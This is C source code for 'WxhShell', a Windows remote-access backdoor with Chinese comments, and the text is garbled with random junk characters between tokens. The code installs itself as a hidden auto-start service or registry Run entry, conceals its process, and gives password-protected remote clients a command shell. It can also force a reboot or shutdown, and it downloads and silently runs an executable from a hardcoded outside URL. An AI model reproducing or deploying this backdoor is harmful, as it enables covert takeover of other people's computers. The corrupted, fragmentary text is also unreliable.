X1 '}IGV`c PROCNTQSIP NtQueryInformationProcess; aW9\h_$ FmSE]et static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @0(%ayi2Y static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3)I]bui A]ZQ?-L/ HANDLE hProcess; _}F_Q5) PROCESS_BASIC_INFORMATION pbi; bOSqD[? 5)A[NTNJx HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E\TWPV'/ if(NULL == hInst ) return 0; (,KzyR=*' X,bhX/h g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X ]W)D
S g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a~?B/
g&_ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R+z'6&/ =I 5h |aX if (!NtQueryInformationProcess) return 0; Y`d@4*FN$ (V1;`sI8 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \iaZV.#f if(!hProcess) return 0; 'n=bQ"bQu }Xfg~%6 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^4NRmlb `NsQ&G CloseHandle(hProcess); w}#3 pU<< W?"l6s hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qM+Ai*q if(hProcess==NULL) return 0; &n6L;y- %|ClYr HMODULE hMod; `e fiX^ char procName[255]; Ijap%l1I unsigned long cbNeeded; @3$ I T+aNX/c|> if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LT>_Y`5> V)`A,7X CloseHandle(hProcess); > ;#Y0 o.w/? if(strstr(procName,"services")) return 1; // 以服务启动 *C0a,G4 .c&&@>m@. return 0; // 注册表启动 `"PHhCG+z } )+|wrK:*v S>r}3,]S // 主模块 lNf );!}SM int StartWxhshell(LPSTR lpCmdLine) 3 T1,:r { d-sT+4o} SOCKET wsl; tD~
nPbbB BOOL val=TRUE; gW5yLb_Vz$ int port=0; _qxBjB4t"a struct sockaddr_in door; t] CA!i` oH,{'S@q if(wscfg.ws_autoins) Install(); O"GuVC}B |AQU\BUj port=atoi(lpCmdLine); e7Sp?>-d EKD?j if(port<=0) port=wscfg.ws_port; 68?>#o865 9Q.@RO$%C WSADATA data; B? aMX,1 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0H+!v cBD#F$K2 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; y;if+ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -d. i4X3j door.sin_family = AF_INET; *x & door.sin_addr.s_addr = inet_addr("127.0.0.1"); E!9(6G4 door.sin_port = htons(port); 5SMV3~*P Z[9t?ePL if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -N'wKT5 closesocket(wsl); Eq?U$eE return 1; 3xz|d`A } AxfQ{>)0 #De a$ if(listen(wsl,2) == INVALID_SOCKET) { wVq9t|V closesocket(wsl); ;nx.:f return 1; Sy/Z}H } 8B(=Y;w Wxhshell(wsl); `6P2+wf1j~ WSACleanup(); R.\]JvqO iR!]&Oh return 0; y`i?Qo3 ~>H,~</` } ["#H/L]3 lNsdbyV' // 以NT服务方式启动 [1Aoj| VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i6f42]Jy { N^M6*,F,J DWORD status = 0; )MF 4b][ DWORD specificError = 0xfffffff; njZJp|y6 lCgzQZ serviceStatus.dwServiceType = SERVICE_WIN32; BIS ., serviceStatus.dwCurrentState = SERVICE_START_PENDING; (<
>L fn serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dC;&X
g` serviceStatus.dwWin32ExitCode = 0; w59q* 2 serviceStatus.dwServiceSpecificExitCode = 0; tLU@&NY` serviceStatus.dwCheckPoint = 0; $) M2 serviceStatus.dwWaitHint = 0; D@O5G d BNF*1JO hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); { P,hH~! if (hServiceStatusHandle==0) return; ,zuS)? -\USDi( status = GetLastError(); vcCNxIzEG if (status!=NO_ERROR) pN)x,<M) { V7}'g6X serviceStatus.dwCurrentState = SERVICE_STOPPED; A|4om=MO serviceStatus.dwCheckPoint = 0; q7rb3d serviceStatus.dwWaitHint = 0; en/ h`h]h serviceStatus.dwWin32ExitCode = status; ?PS?_+E\L serviceStatus.dwServiceSpecificExitCode = specificError; +0)M1!gK SetServiceStatus(hServiceStatusHandle, &serviceStatus); x[$KZGK+GL return; 7_P33l8y
} z]SEPYq: 4x&Dz0[[S serviceStatus.dwCurrentState = SERVICE_RUNNING; _VRxI4q serviceStatus.dwCheckPoint = 0; ^pH8'^n serviceStatus.dwWaitHint = 0; d"IZt;s/, if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ll1N`ke } V?'p E by0K:*C // 处理NT服务事件,比如:启动、停止 t)Cf]]dV VOID WINAPI NTServiceHandler(DWORD fdwControl) VKZP\]$XG { N UvVhy]{ switch(fdwControl) F\&{ >& { LGW:+c case SERVICE_CONTROL_STOP: QuG"]$ serviceStatus.dwWin32ExitCode = 0; Sgv_YoD?- serviceStatus.dwCurrentState = SERVICE_STOPPED; `A%WCd60Tc serviceStatus.dwCheckPoint = 0; }:{9!RMO serviceStatus.dwWaitHint = 0; [*5]NNB { z/+{QBen8 SetServiceStatus(hServiceStatusHandle, &serviceStatus); }eW<P079 } Ihf)gfHj return; 7l$
u.[ case SERVICE_CONTROL_PAUSE: L%(NXSfu7 serviceStatus.dwCurrentState = SERVICE_PAUSED; d5>&,
{o7N break; q4Wr$T$gs= case SERVICE_CONTROL_CONTINUE: 8C8S)
; serviceStatus.dwCurrentState = SERVICE_RUNNING; ;5L^)Nyd break; J9!/C#Fm case SERVICE_CONTROL_INTERROGATE: w&p(/y break; KUYwc@si\ }; .4R.$`z4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); (E)hEQ@8 } J<+f7L 6 5dMv*{ // 标准应用程序主函数 "FA.T7G int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [.fh2XrVM { xl`AiO `K B7[d^Y60B // 获取操作系统版本 *!$Z5Im OsIsNt=GetOsVer(); {R-o8N GetModuleFileName(NULL,ExeFile,MAX_PATH); ih/E,B" ZHN'j ]? // 从命令行安装 t4#gW$+^?H if(strpbrk(lpCmdLine,"iI")) Install(); L?ht^ H P9'`
2c // 下载执行文件 X.;VZwT+ if(wscfg.ws_downexe) { i(;`x if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4>0q0}J=5 WinExec(wscfg.ws_filenam,SW_HIDE); QHZ",1F } "}qs+ c?HUW if(!OsIsNt) { b{
x lW }S // 如果时win9x,隐藏进程并且设置为注册表启动 \alV #>J5 HideProc(); #l4T/`u'9! StartWxhshell(lpCmdLine); #DFi-o&- } O6G'!h\F else )
yMrET
m if(StartFromService()) lJ-PW\P // 以服务方式启动 Na/Y1RW StartServiceCtrlDispatcher(DispatchTable); y0mNDze else /9G72AD! // 普通方式启动 n_km]~ StartWxhshell(lpCmdLine); ( ~5M{Xh N5=BjXSAg return 0; R\3a Sx L } 9m$;C'}Z ]qv0Y~+`-K U6|T<bsOl %J'/ cmR& =========================================== |[r7B*fw f5M;q; Slo^tqbG }>y!I5O XXm7rn >+<b_q|P " DXj>u9*% dHAT($QG #include <stdio.h> 5'DY)s-K #include <string.h> tKyGD|g S #include <windows.h> t+d7{&B #include <winsock2.h> T_s09Wl #include <winsvc.h> xC5Pv"> #include <urlmon.h> 6.tA$#6HP oM>UIDCY_v #pragma comment (lib, "Ws2_32.lib") e[Vk+Te7 #pragma comment (lib, "urlmon.lib") bLWY Tj m<#^c?u #define MAX_USER 100 // 最大客户端连接数 TH y?Y #define BUF_SOCK 200 // sock buffer uDJ;GD[yc #define KEY_BUFF 255 // 输入 buffer E ,ilJl\ 2::YR? #define REBOOT 0 // 重启 :Hb`vH3x #define SHUTDOWN 1 // 关机 y4@gw.pt z3 ^_C`(F #define DEF_PORT 5000 // 监听端口 WqM| nX ]8"U)fzmc. #define REG_LEN 16 // 注册表键长度 V=&M\58 #define SVC_LEN 80 // NT服务名长度 78*8- ~}{_/8'5 // 从dll定义API SAitufS typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C6F7,v62 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~s-gnp typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NCT:!& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %2b^t*CQ
SmDNN^GR // wxhshell配置信息 qe(gKKA%q struct WSCFG { ~a4Y8r int ws_port; // 监听端口 \}4*}Lr char ws_passstr[REG_LEN]; // 口令 n8)&1
q?V int ws_autoins; // 安装标记, 1=yes 0=no ?+yM3As9_V char ws_regname[REG_LEN]; // 注册表键名 <@GO]vY char ws_svcname[REG_LEN]; // 服务名 zjow % char ws_svcdisp[SVC_LEN]; // 服务显示名 zx$1.IM"4 char ws_svcdesc[SVC_LEN]; // 服务描述信息 |qj"p char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tw.GBR int ws_downexe; // 下载执行标记, 1=yes 0=no SWhzcqp char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5_](N$$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o
o'7 ^>ir&$ }; s I\-0og 9,JM$ Y
{ // default Wxhshell configuration ;a>u7rw struct WSCFG wscfg={DEF_PORT, EFx>Hu/[G "xuhuanlingzhe", >`WfY(Lq 1, sCt)Yp+8}B "Wxhshell", >W >Ei(f "Wxhshell", _#r00Ze "WxhShell Service", uY>M3h#qx "Wrsky Windows CmdShell Service", `)cH(Rj "Please Input Your Password: ", U/kQw rM 1, &)+H''JY "http://www.wrsky.com/wxhshell.exe", 573,b7Yf "Wxhshell.exe" z7AWWr=H }; ^Y+C!I 6hd<ys? // 消息定义模块 l"}_+5 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ! #!
MTk char *msg_ws_prompt="\n\r? for help\n\r#>"; pw4^E|X char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,>b>I#{ char *msg_ws_ext="\n\rExit."; (?t}S.>g char *msg_ws_end="\n\rQuit."; <,GVrVH=t" char *msg_ws_boot="\n\rReboot..."; I-g/)2 char *msg_ws_poff="\n\rShutdown..."; P33xt~ char *msg_ws_down="\n\rSave to "; 9NU0K2S I_z(ft. char *msg_ws_err="\n\rErr!"; jy2gR1~ char *msg_ws_ok="\n\rOK!"; /N_:npbJF J+E,Ui ZU char ExeFile[MAX_PATH]; ,I5SAd|dX int nUser = 0; J=$\- HANDLE handles[MAX_USER]; /QyKXg6)l int OsIsNt; r)}U
'iv*% &5R|{',(Y SERVICE_STATUS serviceStatus; Ws`ndR SERVICE_STATUS_HANDLE hServiceStatusHandle; -c0ypz 9>9EZ?4m // 函数声明 z
dgS@g int Install(void); RM `qC int Uninstall(void); /IRXk[ int DownloadFile(char *sURL, SOCKET wsh); RhHm[aN int Boot(int flag); nDC0^& void HideProc(void); If,p!L int GetOsVer(void); qJdlZW< int Wxhshell(SOCKET wsl); _;;Zz&c void TalkWithClient(void *cs); jO&*E'pk int CmdShell(SOCKET sock); 3*=0`}jMJ int StartFromService(void); u>"0>U
int StartWxhshell(LPSTR lpCmdLine); pCh v; 8;DDCop 8L VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V9v20iX VOID WINAPI NTServiceHandler( DWORD fdwControl ); :NF4[c s4"OsgP+ // 数据结构和表定义 6qH0]7m aI SERVICE_TABLE_ENTRY DispatchTable[] = {jz`K1 { G7nhUg {wscfg.ws_svcname, NTServiceMain}, =otO@22Np {NULL, NULL} LjBIRV7 }; V|_
h[hXE ?qaWt/m // 自我安装 !o /=,ZIx int Install(void) +1y$#~dl { z~ C8JY: char svExeFile[MAX_PATH]; v.jxG{~. HKEY key; Jo\P,-\( strcpy(svExeFile,ExeFile); FzJ7 OE| _VKI@ // 如果是win9x系统,修改注册表设为自启动 A#=TR_@: if(!OsIsNt) { {p84fR1P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X@\W*
nq RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /D&&7;jJ RegCloseKey(key); "r-P[EKpL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (aa2uctTn RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P0n1I7| RegCloseKey(key); G@k]rwub return 0; DW. w=L|5R } GXtK3YAr } i41~-?Bc } eThaH0 else { >qmCjY1 hO=L|BJ?I // 如果是NT以上系统,安装为系统服务 ITn% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J-v1"7[2GC if (schSCManager!=0) LjI`$r.B { :RIz6Tz SC_HANDLE schService = CreateService Ktq 4b%{ ( =SfNA
F schSCManager, 8:,($a/KF wscfg.ws_svcname, p0Jr{hM wscfg.ws_svcdisp, 0[MYQl` SERVICE_ALL_ACCESS,
<\^0!v SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vYed_'_ SERVICE_AUTO_START, F8f}PV]b SERVICE_ERROR_NORMAL, tVAi0`DV svExeFile, Ie.*x'b?y NULL, s#9q3JV0 NULL, NKu[6J?) NULL, .XJ'2yKof NULL, 7D6`1& NULL +%JBr+1#\ ); tbFAVGcAM if (schService!=0) Bf utmI { o,6t:?Z CloseServiceHandle(schService); _U s" CloseServiceHandle(schSCManager); 0q}i5%m7 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vK',!1]y strcat(svExeFile,wscfg.ws_svcname); I/O3OD if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q|'f3\ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Er;/zxg9p RegCloseKey(key); XF!L.' zH return 0; 5,"c1[`- } lsz3'!%Y) } +fP.Ewi CloseServiceHandle(schSCManager); "q=Cye } $*#a;w7\C } jIol`WX h `Lr5)B' return 1; (RddR{mX } |Y7SP]/`gB yHeL&H // 自我卸载 7(Fas(j3 int Uninstall(void) C[J9 =!t { h^Wb<O`S HKEY key; &6eo;8
`U Rb6BY-/J if(!OsIsNt) { r,6~%T0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @{Rb]d?&F? RegDeleteValue(key,wscfg.ws_regname); L'+bVP{L RegCloseKey(key); Z-iU7 O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;UQGi}?CD RegDeleteValue(key,wscfg.ws_regname); B)0/kY7c RegCloseKey(key); 3&hR#;,"X return 0; ;ku>_sG- } tOIqX0dWd } Qit&cnO } wvv+~K9jq else { f:>y'#P Od!)MQ*, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @{/)k%U if (schSCManager!=0) Q]WBH_j { L!}!k N:? SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ha
:l-<a if (schService!=0) PmuG(qg { zMSwU]4I! if(DeleteService(schService)!=0) { *C_A(n5"V CloseServiceHandle(schService); lc,k-}n CloseServiceHandle(schSCManager); x-%O1frc return 0; s)-An(Uw } ,GSiSn CloseServiceHandle(schService); JwG(WLb: } %1?t)Bg CloseServiceHandle(schSCManager); j7}mh } iOiFkka } 9UM)"I&k [ V.67_~ return 1; lNX*s
E
. } Ao K9=F} " MnWd BS // 从指定url下载文件 UC`h o%OBF int DownloadFile(char *sURL, SOCKET wsh) ,Fn;* { ?!RbS#QV} HRESULT hr; ![z2]L+TB char seps[]= "/"; ]it.
R- char *token; oCT,v 0+4O char *file; FGVw=G{r char myURL[MAX_PATH]; |f_'(-v`E char myFILE[MAX_PATH]; Xu-~j! &M|rRd~* strcpy(myURL,sURL); Snkb^Kt token=strtok(myURL,seps); [n"eD4 )K| while(token!=NULL) vu(
5s { ]L3U2H`7 file=token; 6,q0F*q token=strtok(NULL,seps); tddwnpnSw } pA8bFtt _hY6NMw GetCurrentDirectory(MAX_PATH,myFILE); 8g-u strcat(myFILE, "\\"); %pVsafV strcat(myFILE, file); Bz'.7"
":0 send(wsh,myFILE,strlen(myFILE),0); YP,,vcut send(wsh,"...",3,0); z</C)ObL hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -nGcm"'6F if(hr==S_OK) Ou[`)|> return 0; Sh#N5kgD else 7rD 8 return 1; i ;B^I8 _|e&zr } 0(i3RPIj\ \PS]c9@,rc // 系统电源模块 x<I[?GT= int Boot(int flag) p@pb[Bx~[ { RQ=rB9~:ZN HANDLE hToken; / /NV_^$y TOKEN_PRIVILEGES tkp; A.*e8a/6X dEYw_qJ2 if(OsIsNt) { *Xnf}Ozx OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lL zR5445) LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '/`O*KD] tkp.PrivilegeCount = 1; 5&%M L tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A\?t^T AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xY?p(>( if(flag==REBOOT) { T[4xt,[a if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6r"NU`1A;r return 0; OcUj_Zd } =w`Mc\o " else { u>;aQtK~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _wXT9`|3 return 0; ="]lN } f\5w@nX } g5U, else { :.=:N%3[ if(flag==REBOOT) { Lu^uY7
?} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,m*HRUY return 0; Q@}SR%p } sDs.da#*2 else { X8v)yDtw if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x
.@O]}UH return 0; F4~OsgZ'N } a;dWM(;Kw } gGE{r}$ Tp@Yn return 1; b)a5LFt| } V}TPt6C2 {8mJ<b>VA // win9x进程隐藏模块 N5l`Rq^K void HideProc(void) 8;`B3N7 { K"[jrvZ= o~Hq&C"^} HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q=e;P;u if ( hKernel != NULL ) =oXlJ[)h { 8m
H6?,@6 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >"UXY) ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); EO(l?Fgw]$ FreeLibrary(hKernel); el<Gd.p.d } rhzI*nwOT tYMr return; _!|$ i } 1c/<2 xO~ Jv
5l // 获取操作系统版本 p]X+#I< int GetOsVer(void) ~YNzSkz { rc:UG "[ OSVERSIONINFO winfo; b"@-9ke5I winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U(+QrC: GetVersionEx(&winfo); [
s/j?/9 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rp
@%0/[ return 1; VGeTX 4h else [q2:d^_FA return 0; jL\j$'KC } ITw *m3 <WZ{<'ajI // 客户端句柄模块 j*?8w(! int Wxhshell(SOCKET wsl) /f1]U
LmC: { *zrGrk:l SOCKET wsh; 0NU%z.(%s struct sockaddr_in client; O>]i? DWORD myID; .Q!d[vL e+lun
- while(nUser<MAX_USER) Unb2D4&' { $C7a#?YF, int nSize=sizeof(client); 1DB{"8ov wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'cpm 4mT if(wsh==INVALID_SOCKET) return 1; U*=E(l Ow/,pC >V handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vYV!8o.I if(handles[nUser]==0) :lB`K>)iB} closesocket(wsh); `&D#P% else YQN:&Cls nUser++; kFp^?+WI%H } 'z"vk WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]!{S2x&" #]jl{K\f#X return 0; aG
}oI! } TxPFl7,r ev;&n@k_I // 关闭 socket 2]mV9B void CloseIt(SOCKET wsh) m~
ah!QM { T5u71C_wmt closesocket(wsh); {OEjITm nUser--; 3LET zsJ ExitThread(0); 2V)+ba|+ } 6U ! P8q nm1dd{U6^ // 客户端请求句柄 $@'BB=i void TalkWithClient(void *cs) ?0t^7HMP { X+]>pA ts,r,{ SOCKET wsh=(SOCKET)cs; Wz'!stcp char pwd[SVC_LEN]; $,~Ily7w char cmd[KEY_BUFF]; 0beP7}$ char chr[1]; Mm@G{J\\ int i,j; _ARG
" kZG .Id while (nUser < MAX_USER) { }8 z:L< v]( Y n)# if(wscfg.ws_passstr) { @KL&vm(F$ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N~=I))i //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1@p, //ZeroMemory(pwd,KEY_BUFF); :+/8n+@# i=0; LXo$\~M8G8 while(i<SVC_LEN) { 8Ij<t{Lps g}0K@z3 // 设置超时 sg7h&<Xx fd_set FdRead; R278 ^E struct timeval TimeOut; ? #rXc%F FD_ZERO(&FdRead); {ze69 h FD_SET(wsh,&FdRead); V#w$|2 TimeOut.tv_sec=8; .JLJ(WM TimeOut.tv_usec=0; "6'", int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3l?|+sU>O if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /.0K#J:
#1haq[Uv7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); by>%}#M pwd=chr[0]; #<)[{+f[t if(chr[0]==0xd || chr[0]==0xa) { X "7CN Td pwd=0; MOQ6&C`7q break; B9NUafK= } 0E26J@jcZ7 i++; 3`reXms*{ } z]N#.utQ zU!{_Ao9 // 如果是非法用户,关闭 socket /= ;,lC if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dnLjcHFj& } [nxYfER7 )r46I$]> send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); clU ?bF~e1 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .F7?}8>Z LKvX~68 while(1) { q.=Q iO*5ClB ZeroMemory(cmd,KEY_BUFF); H"/J R zY\u"
'4 // 自动支持客户端 telnet标准 :-d#kU j=0; vy~6]hH while(j<KEY_BUFF) { %EU_OS(u.{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 68?&`/t cmd[j]=chr[0]; (m2%7f.I if(chr[0]==0xa || chr[0]==0xd) { N-2#-poDe cmd[j]=0; <2]h$53y! break; YA@?L!F } Mk#r_:[BS j++; %BC%fVdP }
= "]r{ liYsUmjZ= // 下载文件 9c]$d if(strstr(cmd,"http://")) { |5(un# send(wsh,msg_ws_down,strlen(msg_ws_down),0); BaIpX<$T if(DownloadFile(cmd,wsh)) O83J[YuzjN send(wsh,msg_ws_err,strlen(msg_ws_err),0); wm#(\dj else 2j4202 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !7\dr ) } FMCA~N else { :a Cf@:'] @XG1d)sE switch(cmd[0]) { <9>L^GgXA ;sA
5&a>! // 帮助 mH;t)dT case '?': { 8-+# !] send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HAE$Np|>a break; pm+E)z6Yo } a`yCPnB( // 安装 vrmMEWPV case 'i': { :@&e~QP( if(Install()) ,+BFpN' send(wsh,msg_ws_err,strlen(msg_ws_err),0); X_-/j. else R{brf6, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O~8jz break; )X#$G?|Hn } RoHX0
// 卸载 wIRU!lIF9 case 'r': { 9Q(Lnu if(Uninstall()) A\ mSS send(wsh,msg_ws_err,strlen(msg_ws_err),0); @&HLm^j2O else 8B6(SQp% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /tkV/ break; i|H^&$| } /!&eP3^ // 显示 wxhshell 所在路径 `Q+O#l? case 'p': { #lFsgb char svExeFile[MAX_PATH]; ( q*/=u strcpy(svExeFile,"\n\r");
*W | strcat(svExeFile,ExeFile); -{L 7%j|R send(wsh,svExeFile,strlen(svExeFile),0); 4Vj]bm break; w'i+WEU>l } 3NwdE/x\ // 重启 C]ho7qC case 'b': { \o,et9zDJ3 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,UVd+rY} if(Boot(REBOOT)) {IB4%,qT send(wsh,msg_ws_err,strlen(msg_ws_err),0); \HoVS else { aQWg?,Ju6 closesocket(wsh); yYJ +vs ExitThread(0); +A
6kw%" } L eUp! break; &xj,.; } Ka{QjW!%d< // 关机 V-%jSe< case 'd': { V,7Xeh(+5L send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F%ukT6xp if(Boot(SHUTDOWN)) .Pe^u%J6F send(wsh,msg_ws_err,strlen(msg_ws_err),0); M1DV 9~S else { r_^]5C\ closesocket(wsh); 's8LrO(= ExitThread(0); PVq y\i } 0ZAtBq.s break; !q+
%]k?x } jA3Ir;a // 获取shell S`spUq1o case 's': { 7BgA+Fz CmdShell(wsh); OYfP!,+bn closesocket(wsh); L~M6ca" ExitThread(0); (aq^\#9btO break; "aGpC{ } FbPoyh // 退出 y5V]uQSD case 'x': { 44h z, send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
ra\2BS)X CloseIt(wsh); 4y9n,~Qgw break; ^@q$c } :e4[isI // 离开 ps]s
Tw case 'q': { !B*d,_9c send(wsh,msg_ws_end,strlen(msg_ws_end),0); L_YY, closesocket(wsh); p~u11rH WSACleanup(); X@7e7 exit(1); L5>.ku=T break; dLu3C-.( } 6n.C!,Zmn } qg-?Z,EB } kKSn^qL* [hXU$Y>"0 // 提示信息 <j89HtCz if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J3=^+/g } Qo } i]GBu O%9Cq}* return; Wq)'0U;{$ } )ufHk (PGmA>BT // shell模块句柄 n ! qm int CmdShell(SOCKET sock) LoHWkNZ5: { j5z, l STARTUPINFO si; R+]p
-NI^ ZeroMemory(&si,sizeof(si)); G_5sF|(mq si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v,vTRrpK si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B0=:A PROCESS_INFORMATION ProcessInfo; y- k?_$M char cmdline[]="cmd"; XBhWj\`(T CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y:4Sw#M%( return 0; 1E$Z]5C9 } 7qE V5! q<>2}[W // 自身启动模式 {%D
"0* ^ int StartFromService(void) 7~\Dzcfk"P { JmNeqpbB`w typedef struct $ajw]2kx { Qm`f5-d DWORD ExitStatus; `m<="No DWORD PebBaseAddress; Oi
BK DWORD AffinityMask; gZM{]GQ DWORD BasePriority; ?d+B]VYw ULONG UniqueProcessId; gbpm:: ULONG InheritedFromUniqueProcessId; CcY.8|HT } PROCESS_BASIC_INFORMATION; -Qnnzp$] `RGZ-Q{_ PROCNTQSIP NtQueryInformationProcess; C,2IET ?;)(O2p static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W<!q>8Xn? static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1bzPBi sbK0OA HANDLE hProcess; Jr17pu(t PROCESS_BASIC_INFORMATION pbi; c09]Cp< ([f6\Pw\ < HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R2]?9\II if(NULL == hInst ) return 0; 7/Lbs {h9#JMIA g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *\VQ%_wg g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }i[i{lKj NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yE"hgdL 2gt08\
